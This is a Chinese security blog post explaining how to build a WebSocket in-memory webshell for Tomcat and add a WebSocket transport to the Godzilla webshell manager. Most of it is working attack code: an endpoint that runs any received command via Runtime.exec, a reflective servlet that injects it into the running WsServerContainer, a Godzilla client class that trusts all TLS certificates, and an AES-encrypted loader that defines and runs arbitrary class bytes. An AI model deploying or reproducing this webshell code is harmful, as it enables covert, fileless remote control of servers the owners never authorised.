前言 一个月前写的,当时正在做webshell相关的工作,刚好看到stoocea师傅发的文章,便也有了自己实现一个WebSocket版本GodZilla的想法。
WebSocket 是一种基于 TCP 协议的全双工通信协议。相比于Http单向请求——响应模式,WebSocket允许客户端和服务器可同时发送和接收数据,无需等待对方请求。当然,在握手阶段任然使用Http协议,发送升级请求后得到对方的同意升级响应后,后续便可直接使用Websocket协议交流。
如果想了解更多关于WebSocket的知识可以参考:WebSocket通信原理和在Tomcat中实现源码详解(万字爆肝)_tomcat websockt 源码分析-CSDN博客
从中可以了解到如果想要注入一个WebSocket类型的内存马需要对面中间件条件是:支持JSR356规范(如Tomcat 7.0.47+、Jetty 9.4+)
WebSocket内存马 与其他Valve、Filter等内存马一样,我们同样需要动态注册某个组件进去,在这里就是服务端端点(Endpoint)。如果我们要制作一个恶意的Endpoint,可以通过以下两种方式:
标注注解@ServerEndpoint
继承抽象类javax.websocket.Endpoint
我们先来用ServerEdnpoint注解实现一个WebSocket的Demo。
ServerEndpoint注解实现 通过@ServerEndpoint
注解标记WebSocket服务端点类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 package cmisl; import javax.websocket.*; import javax.websocket.server.ServerEndpoint; import java.io.IOException; @ServerEndpoint("/ws") public class WebSocketDemo { @OnOpen public void onOpen (Session session) { System.out.println("WebSocket连接建立: " + session.getId()); } @OnMessage public void onMessage (String message, Session session) { try { session.getBasicRemote().sendText("ECHO: " + message); } catch (IOException e) { e.printStackTrace(); } } @OnClose public void onClose (Session session) { System.out.println("WebSocket连接关闭: " + session.getId()); } @OnError public void onError (Session session, Throwable error) { error.printStackTrace(); } }
上面就是一个Websocket的demo了,同样的,类似Filter的doFilter和Listener的requestInitialized,WebSocket同样需要实现一套自己的生命周期方法。如图分别是@OpOpen、@OnMessage、@OnError、@OnError。从名字上看也不难理解,下面是对应的介绍:
@OnOpen
触发时机 :客户端与服务端完成握手后调用,仅执行一次。
功能 :初始化会话资源,记录连接时间等。
@OnMessage
触发时机 :接收到客户端发送的消息时调用。
功能 :处理文本、二进制或 Pong 消息,支持异步响应。
@OnError
触发时机 :连接或端点发生异常时调用。
功能 :捕获未处理的异常,防止服务崩溃,记录日志或发送错误通知。
@OnClose
触发时机 :连接关闭时调用(无论主动或被动关闭)。
功能 :释放资源、记录日志或发送最终通知。
javax.websocket.Endpoint继承实现 需要实现implements MessageHandler.Whole<String>
,以获取onMessage方法。或者只继承Endpoint类然后在onOpen中为session添加一个MessageHandler来注册消息处理器,本质没有区别。
此外消息处理一般除了String还可以用ByteBuffer来处理二进制消息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 package cmisl; import javax.websocket.Endpoint; import javax.websocket.EndpointConfig; import javax.websocket.Session; import javax.websocket.MessageHandler; import java.io.IOException; public class MyWebSocketEndpoint extends Endpoint implements MessageHandler .Whole<String> { private Session session; @Override public void onOpen (Session session, EndpointConfig config) { System.out.println("WebSocket opened: " + session.getId()); this .session = session; session.addMessageHandler(this ); } @Override public void onMessage (String message) { handleMessage(message); } private void handleMessage (String message) { System.out.println("Received message: " + message); try { session.getBasicRemote().sendText("Echo: " + message); } catch (IOException e) { e.printStackTrace(); } } @Override public void onClose (Session session, javax.websocket.CloseReason closeReason) { System.out.println("WebSocket closed: " + session.getId()); } @Override public void onError (Session session, Throwable thr) { System.err.println("WebSocket error on session " + session.getId() + ": " + thr.getMessage()); } }
初始化流程 Apache Tomcat中用于启动Web应用上下文会调用到 standardContext.startInternal
方法,负责初始化一些Web应用的组件和资源,比如Servlet、Filter、Listener,因此在Tomcat型内存马的时候也会提及该方法。这个方法中会触发 ServletContainerInitializers
初始化。然后调用ServletContainerInitializer
接口的 onStartup()
方法,它是 Java EE / Jakarta EE 规范中的标准机制,用于在 Web 应用启动时执行一些自定义的初始化逻辑,框架(如 Spring、WebSocket、Jersey 等)就会利用它进行自动配置和初始化。
Tomcat中的WebSocket就是基于此机制实现的。在Tomcat的jar包中,包含文件META-INF/services/javax.servlet.ServletContainerInitializer
。内容指向org.apache.tomcat.websocket.server.WsSci
,当 Tomcat 启动 web 应用时,Servlet 容器会通过 SPI(Service Provider Interface)发现并加载所有的 ServletContainerInitializer
实现。其中就包括WsSci,因此在上面提到的过程中就会调用到WsSci的onStartup方法中。
首先会初始化一个WebSocket容器,然后筛选WebSocket组件,包括通过配置定义、继承Endpoint、@ServerEndpoint注解的WebSocket服务端点。然后将筛选出来的类添加到WebSocket容器中。
连接流程 WebSocket连接开始还是Http请求,如下图:
请求发给Tomcat时,Tomcat会有一个过滤器,WsFilter。这个过滤器是Tomcat用于将普通的HTTP请求升级为WebSocket请求的组件。 简而言之:
HTTP 请求 → WsFilter
判断是否是 WebSocket 请求 → 发起升级协议(HTTP ➝ WebSocket) → 建立 WebSocket 连接
首先就是if判断,this.sc.areEndpointsRegistered()会先判断WebSocket容器中是否存在服务端点ServerEndPoint组件注册,后续在继续深入这个方法,这里并非一定要有组件才会返回true,有相关配置也是可以的。
第二个判断是isWebSocketUpgradeRequest方法判断该请求是否是WebSocket升级请求,代码如下:
1 2 3 public static boolean isWebSocketUpgradeRequest (ServletRequest request, ServletResponse response) { return request instanceof HttpServletRequest && response instanceof HttpServletResponse && headerContainsToken((HttpServletRequest)request, "Upgrade" , "websocket" ) && "GET" .equals(((HttpServletRequest)request).getMethod()); }
我们需要两个判断都为true,这样才能进入if代码中升级请求。isWebSocketUpgradeRequest
这个判断很容易理解,也很容易构造,正常的HTTP的Get请求+Upgrade: websocket请求头即可。因此我们关注点可以看到第一个判断中。
第一个判断返回的是WebSocket容器的endpointsRegistered
属性,这个属性默认是false,如果要返回true,只有在addEndPoint
方法中才会将其设置为true。
这里有两个参数,
sec
:通过注解或显式注册的 WebSocket 配置对象 ServerEndpointConfig
fromAnnotatedPojo:是否来自注解
@ServerEndpoint`(true)或是通过程序方式添加(false)
这个方法虽然不能直接调用,但是我们可以调用它的重载addEndPoint(ServerEndpointConfig sec)
,这样的话其实我们只需要传入一个参数即可。
这样看来我们就需要构造ServerEndpointConfig
实例,并且还需要获取当前Tomcat服务器中的WsServerContainer
。以便于去调用其addEndPoint
方法来让endpointsRegistered
属性变为true。
构造ServerEndpointConfig实例 ServerEndpointConfig
是一个接口,可以注意到这个接口的build方法中,会new一个DefaultServerEndpointConfig
实例出来,而DefaultServerEndpointConfig
刚好是ServerEndpointConfig
接口的实现。Builder
是 ServerEndpointConfig
的一个静态内部类。
获取WsServerContainer WsServerContainer是在WsSci#init中创建的。
创建后的WsServerContainer会设置到ApplicationContext中的attributes中,是一个键值对,键名是javax.websocket.server.ServerContainer
,当然在tomcat10中就需要将javax修改为jakarta,因为从 Tomcat 10 开始,Java Servlet API 的包名改为了 jakarta.servlet。值就是我们需要的WsServerContainer,也就是当前应用中的WebSocket容器了。
编写内存马 先来一段WebSocket shell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 package cmisl; import javax.websocket.Endpoint; import javax.websocket.EndpointConfig; import javax.websocket.MessageHandler; import javax.websocket.Session; import java.io.BufferedReader; import java.io.InputStreamReader; public class cmdWebSocket extends Endpoint implements MessageHandler .Whole<String> { private Session session; @Override public void onOpen (Session session, EndpointConfig endpointConfig) { this .session = session; session.addMessageHandler(this ); } @Override public void onMessage (String command) { try { StringBuilder output = new StringBuilder (); Process process = Runtime.getRuntime().exec(command); try ( BufferedReader reader = new BufferedReader (new InputStreamReader (process.getInputStream())); BufferedReader errReader = new BufferedReader (new InputStreamReader (process.getErrorStream())) ) { String line; while ((line = reader.readLine()) != null ) { output.append(line).append("\n" ); } while ((line = errReader.readLine()) != null ) { output.append(line).append("\n" ); } } session.getBasicRemote().sendText(output.toString()); } catch (Exception e) { try { session.getBasicRemote().sendText("Error: " + e.getMessage()); } catch (Exception ex) { ex.printStackTrace(); } } } }
接着要有一个注入点,我这里有用Servlet代替了,主要是能执行一段能够注入上方WebSocket Shell的代码就行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 package cmisl; import org.apache.catalina.core.StandardContext; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.concurrent.ConcurrentHashMap; import javax.servlet.ServletContext; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.websocket.server.ServerEndpointConfig; import org.apache.catalina.core.StandardContext; import org.apache.tomcat.websocket.server.WsServerContainer; @WebServlet(name = "cmdShellServlet", urlPatterns = {"/cmd"}) public class cmdShellServlet extends HttpServlet { @Override protected void doGet (HttpServletRequest request, HttpServletResponse response) { try { List<Object> contexts = getContext(); ServletContext servletContext = null ; for (Object context : contexts) { servletContext = (ServletContext) invokeMethod(context, "getServletContext" ); } Object applicationContext = getFV(servletContext, "context" ); Object attributes = getFV(applicationContext, "attributes" ); WsServerContainer wsServerContainer= (WsServerContainer) ((ConcurrentHashMap) attributes).get("javax.websocket.server.ServerContainer" ); ServerEndpointConfig.Builder builder = ServerEndpointConfig.Builder.create(cmdWebSocket.class, "/ws/cmd" ); ServerEndpointConfig build = builder.build(); wsServerContainer.addEndpoint(build); } catch (Exception e) { } } @Override protected void doPost (HttpServletRequest request, HttpServletResponse response) { doGet(request, response); } public List<Object> getContext () throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { List<Object> contexts = new ArrayList <Object>(); Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads" ); Object context = null ; try { for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor" ) && context == null ) { HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target" ), "this$0" ), "children" ); for (Object key : childrenMap.keySet()) { HashMap children = (HashMap) getFV(childrenMap.get(key), "children" ); for (Object key1 : children.keySet()) { context = children.get(key1); if (context != null && context.getClass().getName().contains("StandardContext" )) contexts.add(context); if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext" )) contexts.add(context); } } } else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader" ) || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader" ))) { context = getFV(getFV(thread.getContextClassLoader(), "resources" ), "context" ); if (context != null && context.getClass().getName().contains("StandardContext" )) contexts.add(context); if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext" )) contexts.add(context); } } } catch (Exception e) { throw new RuntimeException (e); } return contexts; } static Object getFV (Object obj, String fieldName) throws Exception { Field field = getF(obj, fieldName); field.setAccessible(true ); return field.get(obj); } static Field getF (Object obj, String fieldName) throws NoSuchFieldException { Class<?> clazz = obj.getClass(); while (clazz != null ) { try { Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); return field; } catch (NoSuchFieldException e) { clazz = clazz.getSuperclass(); } } throw new NoSuchFieldException (fieldName); } static synchronized Object invokeMethod (Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { return invokeMethod(targetObject, methodName, new Class [0 ], new Object [0 ]); } public static synchronized Object invokeMethod (final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); Method method = null ; Class tempClass = clazz; while (method == null && tempClass != null ) { try { if (paramClazz == null ) { Method[] methods = tempClass.getDeclaredMethods(); for (int i = 0 ; i < methods.length; i++) { if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0 ) { method = methods[i]; break ; } } } else { method = tempClass.getDeclaredMethod(methodName, paramClazz); } } catch (NoSuchMethodException e) { tempClass = tempClass.getSuperclass(); } } if (method == null ) { throw new NoSuchMethodException (methodName); } method.setAccessible(true ); if (obj instanceof Class) { try { return method.invoke(null , param); } catch (IllegalAccessException e) { throw new RuntimeException (e.getMessage()); } } else { try { return method.invoke(obj, param); } catch (IllegalAccessException e) { throw new RuntimeException (e.getMessage()); } } } }
访问/cmd触发这个Servlet中的代码,然后连接WebSocket发送命令,没问题。
工具二开 由于最近接触哥斯拉和jmg较多,打算把WebSocket整合进去,这里思考了一下还是先把哥斯拉的弄出来。jmg的话比较简单,可以自行思考完成。
哥斯拉 哥斯拉的二开可以参考:[二开]_哥斯拉-PHP流量特征修改
想要在加密器选项里面有我们新增类型的加密器,需要在jar包里新增一个类,有这个class文件就行,里面有没有内容无所谓。可以使用Jar_Editor插件。然后再从我们src目录下用CryptionAnnotation注解编写这个加密器。
哥斯拉的一个逻辑我有简单写过,但是我正在写这篇的时候还没发,如果到时候忘记贴链接了可以在博客里面找找。
哥斯拉的shell初始化逻辑是,直接发送一个很大的马。让服务器上的webshell把大马吃到并加载到内存中。然后会有自己构造的一个通信方式与这个大马交流,这个构造在哥斯拉分析文章也抽离出来了,感兴趣可以看看。
WebSocket通信类 这个大马其实无需改造,我们小马用hashmap来存储加载的大马和传输的指令即可。至于通信方式手搓了一个:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 public class WebSocket { private static final HostnameVerifier hostnameVerifier = new TrustAnyHostnameVerifier (); private final Proxy proxy; private final ShellEntity shellContext; private CookieManager cookieManager; private URI uri; public String requestMethod = "POST" ; private boolean connected = false ; private Socket socket = null ; private OutputStream outputStream = null ; private InputStream inputStream = null ; public WebSocket (ShellEntity shellContext) { this .shellContext = shellContext; this .proxy = ApplicationContext.getProxy(this .shellContext); } public boolean Handshake () { try { URI uri = new URI (shellContext.getUrl()); Proxy proxy = this .proxy; BufferedReader reader = null ; BufferedWriter writer = null ; try { if (proxy == null ) { proxy = Proxy.NO_PROXY; } this .socket = new Socket (proxy); socket.connect(new InetSocketAddress (uri.getHost(), getPort(uri)), shellContext.getConnTimeout()); socket.setSoTimeout(shellContext.getReadTimeout()); this .inputStream = this .socket.getInputStream(); this .outputStream = this .socket.getOutputStream(); reader = new BufferedReader (new InputStreamReader (this .inputStream)); writer = new BufferedWriter (new OutputStreamWriter (this .outputStream)); String key = generateWebSocketKey(this .shellContext.getPassword()+this .shellContext.getSecretKey()); writer.write("GET " + uri.getRawPath() + (uri.getQuery() != null ? "?" + uri.getQuery() : "" ) + " HTTP/1.1\r\n" ); writer.write("Host: " + uri.getHost() + ":" + getPort(uri) + "\r\n" ); writer.write("Upgrade: websocket\r\n" ); writer.write("Connection: Upgrade\r\n" ); writer.write("Sec-WebSocket-Key: " + key + "\r\n" ); writer.write("Sec-WebSocket-Version: 13\r\n" ); writer.write("\r\n" ); writer.flush(); String statusLine = reader.readLine(); if (statusLine == null || !statusLine.startsWith("HTTP/1.1 101" )) { throw new IOException ("WebSocket handshake failed: " + statusLine); } Map<String, List<String>> responseHeaders = new HashMap <>(); String line; while ((line = reader.readLine()) != null && !line.isEmpty()) { int idx = line.indexOf(':' ); if (idx > 0 ) { String name = line.substring(0 , idx).trim(); String value = line.substring(idx + 1 ).trim(); responseHeaders.computeIfAbsent(name, k -> new ArrayList <>()).add(value); } } this .connected = true ; return true ; } catch (Exception e) { Log.error("WebSocket handshake error: " + e.getMessage()); disconnect(); return false ; } finally { } } catch (Exception e) { throw new RuntimeException (e); } } public WebSocketResponse SendWebSocketConn (String urlString, String method, Map<String, String> header, byte [] requestData, int connTimeOut, int readTimeOut, Proxy proxy) throws Exception { if (!connected || this .socket == null || !this .socket.isConnected()) { throw new IllegalStateException ("WebSocket not connected" ); } try { sendWebSocketFrame(requestData); byte [] response = readWebSocketFrame(); return new WebSocketResponse (this .shellContext, 200 , null , response); } catch (IOException e) { Log.error("WebSocket send error: " + e.getMessage()); disconnect(); return new WebSocketResponse (this .shellContext, 500 , null , ("Error: " + e.getMessage()).getBytes()); } } public WebSocketResponse sendWebSocketResponse (byte [] requestData) { Map<String, String> header = this .shellContext.getHeaders(); int connTimeOut = this .shellContext.getConnTimeout(); int readTimeOut = this .shellContext.getReadTimeout(); requestData = this .shellContext.getCryptionModule().encode(requestData); String left = this .shellContext.getReqLeft(); String right = this .shellContext.getReqRight(); if (this .shellContext.isSendLRReqData()) { byte [] leftData = left.getBytes(); byte [] rightData = right.getBytes(); requestData = (byte []) functions.concatArrays(functions.concatArrays(leftData, 0 , (leftData.length > 0 ? leftData.length : 1 ) - 1 , requestData, 0 , requestData.length - 1 ), 0 , leftData.length + requestData.length - 1 , rightData, 0 , (rightData.length > 0 ? rightData.length : 1 ) - 1 ); } try { return this .SendWebSocketConn(this .shellContext.getUrl(), this .requestMethod, header, requestData, connTimeOut, readTimeOut, this .proxy); } catch (Exception e) { throw new RuntimeException (e); } } private void sendWebSocketFrame (byte [] payload) throws IOException { byte [] frame = new byte [10 + payload.length]; if (this .shellContext.getCryption().contains("BASE64" )) { frame[offset++] = (byte ) 0x81 ; } if (this .shellContext.getCryption().contains("RAW" )) { frame[offset++] = (byte ) 0x82 ; } int length = payload.length; boolean mask = true ; if (length <= 125 ) { frame[offset++] = (byte ) ((mask ? 0x80 : 0 ) | length); } else if (length < 65536 ) { frame[offset++] = (byte ) ((mask ? 0x80 : 0 ) | 126 ); frame[offset++] = (byte ) (length >> 8 ); frame[offset++] = (byte ) length; } else { frame[offset++] = (byte ) ((mask ? 0x80 : 0 ) | 127 ); for (int i = 56 ; i >= 0 ; i -= 8 ) { frame[offset++] = (byte ) (length >> i); } } byte [] maskKey = new byte [4 ]; new SecureRandom ().nextBytes(maskKey); System.arraycopy(maskKey, 0 , frame, offset, 4 ); offset += 4 ; for (int i = 0 ; i < length; i++) { frame[offset + i] = (byte ) (payload[i] ^ maskKey[i % 4 ]); } offset += length; outputStream.write(frame, 0 , offset); outputStream.flush(); } private byte [] readWebSocketFrame() throws IOException { ByteArrayOutputStream frameBuffer = new ByteArrayOutputStream (); byte [] buffer = new byte [65536 ]; int totalRead = 0 ; while (frameBuffer.size() < 2 && totalRead != -1 ) { totalRead = inputStream.read(buffer); if (totalRead > 0 ) frameBuffer.write(buffer, 0 , totalRead); } if (frameBuffer.size() < 2 ) return new byte [0 ]; byte [] frameHeader = frameBuffer.toByteArray(); boolean mask = (frameHeader[1 ] & 0x80 ) != 0 ; int payloadLength = frameHeader[1 ] & 0x7F ; int lengthBytes = 0 ; if (payloadLength == 126 ) lengthBytes = 2 ; else if (payloadLength == 127 ) lengthBytes = 8 ; int maskKeyOffset = 2 + lengthBytes; int totalNeedRead = maskKeyOffset + (mask ? 4 : 0 ); while (frameBuffer.size() < totalNeedRead && totalRead != -1 ) { totalRead = inputStream.read(buffer); if (totalRead > 0 ) frameBuffer.write(buffer, 0 , totalRead); } if (frameBuffer.size() < totalNeedRead) return new byte [0 ]; if (payloadLength == 126 ) { payloadLength = ((frameHeader[2 ] & 0xFF ) << 8 ) | (frameHeader[3 ] & 0xFF ); } else if (payloadLength == 127 ) { payloadLength = ((frameHeader[6 ] & 0xFF ) << 24 ) | ((frameHeader[7 ] & 0xFF ) << 16 ) | ((frameHeader[8 ] & 0xFF ) << 8 ) | (frameHeader[9 ] & 0xFF ); } int dataStart = maskKeyOffset + (mask ? 4 : 0 ); int dataLength = payloadLength; int totalDataRead = frameBuffer.size() - dataStart; while (totalDataRead < dataLength && totalRead != -1 ) { totalRead = inputStream.read(buffer); if (totalRead > 0 ) { frameBuffer.write(buffer, 0 , totalRead); totalDataRead += totalRead; } } byte [] fullFrame = frameBuffer.toByteArray(); byte [] data = new byte [dataLength]; System.arraycopy(fullFrame, dataStart, data, 0 , dataLength); if (mask) { byte [] maskKey = new byte [4 ]; System.arraycopy(fullFrame, maskKeyOffset, maskKey, 0 , 4 ); for (int i = 0 ; i < data.length; i++) { data[i] ^= maskKey[i % 4 ]; } } return data; } private static void trustAllHttpsCertificates () { try { TrustManager[] trustAllCerts = new TrustManager [1 ]; miTM tm = new miTM (); trustAllCerts[0 ] = tm; SSLContext sc = SSLContext.getInstance("SSL" ); sc.init(null , trustAllCerts, new SecureRandom ()); HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory()); SSLContext sc2 = SSLContext.getInstance("TLS" ); sc2.init(null , trustAllCerts, new SecureRandom ()); HttpsURLConnection.setDefaultSSLSocketFactory(sc2.getSocketFactory()); } catch (Exception e) { e.printStackTrace(); } } public synchronized URI getUri () { if (this .uri == null ) { try { this .uri = URI.create(this .shellContext.getUrl()); } catch (Exception e) { e.printStackTrace(); } } return this .uri; } private int getPort (URI uri) { int port = uri.getPort(); if (port == -1 ) { if ("wss" .equalsIgnoreCase(uri.getScheme()) || "https" .equalsIgnoreCase(uri.getScheme())) { return 443 ; } else { return 80 ; } } return port; } public void disconnect () { connected = false ; try { if (outputStream != null ) outputStream.close(); if (inputStream != null ) inputStream.close(); if (socket != null && !socket.isClosed()) socket.close(); } catch (IOException e) { Log.error("WebSocket disconnect error: " + e.getMessage()); } } private String generateWebSocketKey (String customKey) { byte [] nonce; if (customKey != null && !customKey.isEmpty()) { try { MessageDigest md = MessageDigest.getInstance("MD5" ); nonce = md.digest(customKey.getBytes(StandardCharsets.UTF_8)); } catch (NoSuchAlgorithmException e) { throw new RuntimeException ("MD5 algorithm not found" , e); } } else { nonce = new byte [16 ]; new SecureRandom ().nextBytes(nonce); } return Base64.getEncoder().withoutPadding().encodeToString(nonce); } public synchronized CookieManager getCookieManager () { if (this .cookieManager == null ) { this .cookieManager = new CookieManager (); try { String cookieStr = this .shellContext.getHeaders().get("Cookie" ); if (cookieStr == null ) { cookieStr = this .shellContext.getHeaders().get("cookie" ); } if (cookieStr != null ) { String[] cookies; for (String cookieStr2 : cookies = cookieStr.split(";" )) { String[] cookieAtt = cookieStr2.split("=" ); if (cookieAtt.length != 2 ) continue ; HttpCookie httpCookie = new HttpCookie (cookieAtt[0 ], cookieAtt[1 ]); this .cookieManager.getCookieStore().add(this .getUri(), httpCookie); } } } catch (Exception e) { e.printStackTrace(); } } return this .cookieManager; } static { WebSocket.trustAllHttpsCertificates(); } public static class TrustAnyHostnameVerifier implements HostnameVerifier { @Override public boolean verify (String hostname, SSLSession session) { return true ; } } private static class miTM extends X509ExtendedTrustManager implements TrustManager , X509TrustManager { ...... } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 public class WebSocketResponse { private final int responseCode; private final Map<String, List<String>> headers; private byte [] result; private ShellEntity shellEntity; public WebSocketResponse (ShellEntity shellEntity, int responseCode, Map<String, List<String>> headers, byte [] result) { this .shellEntity = shellEntity; this .responseCode = responseCode; this .headers = headers; this .result = Decrypte(result); } public int getResponseCode () { return responseCode; } public Map<String, List<String>> getHeaders () { return headers; } public byte [] getresult() { return result; } public byte [] Decrypte(byte [] Ciphertext) { try { byte [] decode = this .shellEntity.getCryptionModule().decode(Ciphertext); return decode; } catch (Exception e) { return new byte [0 ]; } } }
至于哥斯拉其他需要修改的地方可以自行寻找调用http的地方,然后平行增加个WebSocket的调用就行了。比较简单。
那JavaWebSocket的初始化部分就可以改成如下,增加一个握手的过程即可,然后用webbsocket的方法去发送大马。
小马 至于我们应该放在服务端的小马可以写成如下,这只是个简单的demo,可以进行改进。
Base64类型 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 public class Base64WebSocket extends Endpoint implements MessageHandler .Whole<String> { private Session session; public static Map<String, Object> store = new HashMap (); String xc = "082e34fbef497bb1" ; String pass = "cmisl" ; public String headerName = "cmisl" ; public String headerValue = "cmisl" ; String md5 = md5(pass + xc); private static Class defineClass (byte [] classbytes) throws Exception { URLClassLoader urlClassLoader = new URLClassLoader (new URL [0 ], Thread.currentThread().getContextClassLoader()); Method method = ClassLoader.class.getDeclaredMethod("defineClass" , byte [].class, int .class, int .class); method.setAccessible(true ); return (Class) method.invoke(urlClassLoader, classbytes, 0 , classbytes.length); } public byte [] x(byte [] s, boolean m) { try { Cipher c = Cipher.getInstance("AES" ); c.init(m ? 1 : 2 , new SecretKeySpec (xc.getBytes(), "AES" )); return c.doFinal(s); } catch (Exception e) { return null ; } } @Override public void onOpen (Session session, EndpointConfig config) { this .session = session; System.out.println("onOpen method is invoked" ); this .session.setMaxBinaryMessageBufferSize(1024 * 1024 ); this .session.setMaxTextMessageBufferSize(1024 * 1024 ); session.addMessageHandler(this ); } @Override public void onMessage (String message) { try { System.out.println("onMessage method is invoked" ); String[] split = message.split("=" ); StringBuilder result = new StringBuilder (); if (split[0 ] != null && split[0 ].equals(pass)) { byte [] data = base64Decode(URLDecoder.decode(split[1 ], "UTF-8" )); data = x(data, false ); if (store.get("payload" ) == null ) { store.put("payload" , defineClass(data)); } else { store.put("parameters" , data); ByteArrayOutputStream arrOut = new ByteArrayOutputStream (); Object f = ((Class<?>) store.get("payload" )).newInstance(); f.equals(arrOut); f.equals(data); result.append(md5.substring(0 , 16 )); f.toString(); result.append(base64Encode(x(arrOut.toByteArray(), true ))); result.append(md5.substring(16 )); } session.getBasicRemote().sendText(result.toString()); } else { } } catch (Exception e) { } } @Override public void onClose (Session session, javax.websocket.CloseReason closeReason) { System.out.println("onclose method is invoked\"" ); } @Override public void onError (Session session, Throwable thr) { System.out.println("onerror method is invoked\"" ); } public static String md5 (String s) { String ret = null ; try { MessageDigest m; m = MessageDigest.getInstance("MD5" ); m.update(s.getBytes(), 0 , s.length()); ret = new BigInteger (1 , m.digest()).toString(16 ).toUpperCase(); } catch (Exception e) { } return ret; } public static String base64Encode (byte [] bs) throws Exception { Class base64; String value = null ; try { base64 = Class.forName("java.util.Base64" ); Object Encoder = base64.getMethod("getEncoder" , null ).invoke(base64, null ); value = (String) Encoder.getClass().getMethod("encodeToString" , new Class []{byte [].class}).invoke(Encoder, new Object []{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Encoder" ); Object Encoder = base64.newInstance(); value = (String) Encoder.getClass().getMethod("encode" , new Class []{byte [].class}).invoke(Encoder, new Object []{bs}); } catch (Exception e2) { } } return value; } public static byte [] base64Decode(String bs) throws Exception { Class base64; byte [] value = null ; try { base64 = Class.forName("java.util.Base64" ); Object decoder = base64.getMethod("getDecoder" , null ).invoke(base64, null ); value = (byte []) decoder.getClass().getMethod("decode" , new Class []{String.class}).invoke(decoder, new Object []{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Decoder" ); Object decoder = base64.newInstance(); value = (byte []) decoder.getClass().getMethod("decodeBuffer" , new Class []{String.class}).invoke(decoder, new Object []{bs}); } catch (Exception e2) { } } return value; } }
